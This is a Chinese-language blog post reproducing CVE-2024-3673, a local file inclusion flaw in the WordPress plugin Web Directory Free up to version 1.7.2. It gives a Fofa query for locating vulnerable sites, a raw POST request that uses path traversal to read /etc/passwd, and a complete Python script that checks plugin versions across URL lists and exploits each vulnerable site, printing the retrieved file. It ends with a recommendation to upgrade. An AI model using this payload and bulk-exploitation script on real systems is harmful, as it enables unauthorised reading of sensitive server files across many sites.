当前位置: 首页 > article >正文

WordPress Web Directory Free插件本地包含漏洞复现(附脚本)(CVE-2024-3673)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

0x01 产品描述:

        Web Directory Free 是一款用于 WordPress 的免费插件,主要用于创建和管理在线目录网站。它允许用户轻松地添加、管理和展示各种目录条目,例如企业列表、服务提供商、地点信息等。这款插件非常适合需要构建商业目录、黄页网站或类似平台的用户。
0x02 漏洞描述:

        Web Directory Free插件在函数中使用参数之前无法验证参数,从而导致本地文件包含 (LFI)。这允许未经身份验证的攻击者读取服务器上的敏感文件。

0x03 影响版本:

Web Directory Free <= 1.7.2
0x04 搜索语句:

Fofa:body="/wp-content/plugins/web-directory-free"


0x05 漏洞复现:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ip

from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

0x06 批量检测脚本:

批量检测:
python poc.py -l url.txt -f [读取路径]
单个检测:
python poc.py -u your-ip -f [读取路径]
默认路径:
python poc.py -u your-ip
import argparse
import re
import requests
from packaging import version
import urllib3
from urllib.parse import urljoin

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("\033[36m" + """
    ****************************************************
    *             WordPress插件漏洞检测工具             *
    *        Web Directory Free插件LFI漏洞检测         *
    *            版本: 1.7.2及以下存在漏洞             *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def get_plugin_version(url: str) -> str:
    version_url = urljoin(url, "/wp-content/plugins/web-directory-free/readme.txt")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }
    try:
        response = requests.get(version_url, headers=headers, verify=False, timeout=10)
        response.raise_for_status()
        match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text)
        if match:
            return match.group(1)
        else:
            print(f"[!] 无法从 {url} 的 readme.txt 中提取版本信息。")
            return None
    except requests.RequestException as e:
        print(f"[!] 获取 {url} 的版本信息时出错: {e}")
        return None

def is_vulnerable(version_str: str) -> bool:
    vulnerable_version = "1.7.2"
    return version.parse(version_str) <= version.parse(vulnerable_version)

def exploit_vulnerability(url: str, target_file: str) -> None:
    exploit_path = urljoin(url, "/wp-admin/admin-ajax.php")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}"
    try:
        response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10)
        response.raise_for_status()
        if response.status_code == 200:
            print(f"[+] 漏洞利用成功!目标文件内容如下:\n{response.text}")
        else:
            print(f"[-] 漏洞利用失败,服务器返回状态码: {response.status_code}")
    except requests.RequestException as e:
        print(f"[!] 漏洞利用过程中出错: {e}")

def check_single_url(url: str, target_file: str) -> None:
    print(f"\n[+] 正在检测目标: {url}")
    plugin_version = get_plugin_version(url)
    if plugin_version:
        print(f"[*] 检测到插件版本: {plugin_version}")
        if is_vulnerable(plugin_version):
            print("[+] 该站点存在漏洞!")
            exploit_vulnerability(url, target_file)
        else:
            print("[-] 该站点不存在漏洞。")
    else:
        print("[-] 无法获取插件版本信息,跳过检测。")

def main():
    banner()
    parser = argparse.ArgumentParser(description="检测Web Directory Free WordPress插件中的LFI漏洞(版本1.7.2及以下)。")
    parser.add_argument("--url", "-u", help="目标URL(例如:http://example.com)")
    parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="要读取的目标文件(默认:/etc/passwd)")
    parser.add_argument("--list", "-l", help="包含多个URL的文件路径")
    args = parser.parse_args()

    if not args.url and not args.list:
        print("[-] 请提供目标URL或包含URL列表的文件。")
        return

    if args.url:
        check_single_url(args.url, args.file)
    elif args.list:
        urls = read_file(args.list)
        for url in urls:
            check_single_url(url, args.file)

if __name__ == "__main__":
    main()


0x07 修复建议:

将 Web Directory Free 插件升级到版本 1.7.3 或更高版本


http://www.kler.cn/a/522786.html

相关文章:

  • scratch学习教程
  • C# 与.NET 日志变革:JSON 让程序“开口说清话”
  • 54.数字翻译成字符串的可能性|Marscode AI刷题
  • 《Java核心技术 卷II》日期和时间API的时间线
  • SpringBoot或SpringAI对接DeekSeek大模型
  • Python-基于PyQt5,json和playsound的通用闹钟
  • 更换keil工程芯片到103c8t6(HAL库版本)
  • 豆包MarsCode:字符串字符类型排序问题
  • JS宏进阶:控件与事件
  • java:read weather info from openweathermap.org
  • 书生大模型实战营2
  • Semaphore 与 线程池 Executor 有什么区别?
  • 嵌入式知识点总结 Linux驱动 (三)-文件系统
  • Linux 35.6 + JetPack v5.1.4之编译器升级
  • 在Rust应用中访问.ini格式的配置文件
  • vim如何解决‘’文件非法关闭后,遗留交换文件‘’的问题
  • 第3章 基于三电平空间矢量的中点电位平衡策略
  • 无人机+固定机巢 ,空地协同作业技术详解
  • Hive:Hive Shell技巧
  • 回顾:Maven的环境搭建
  • 第32章 测试驱动开发(TDD)的原理、实践、关联与争议(Python 版)
  • 【设计模式-行为型】迭代器模式
  • 构建自定义 AI 模型服务:集成到 Spring AI 处理特定任务
  • 算法刷题Day28:BM66 最长公共子串
  • AAAI2024论文合集解读|Multi-granularity Causal Structure Learning-water-merged
  • 82,【6】BUUCTF WEB .[CISCN2019 华东南赛区]Double Secret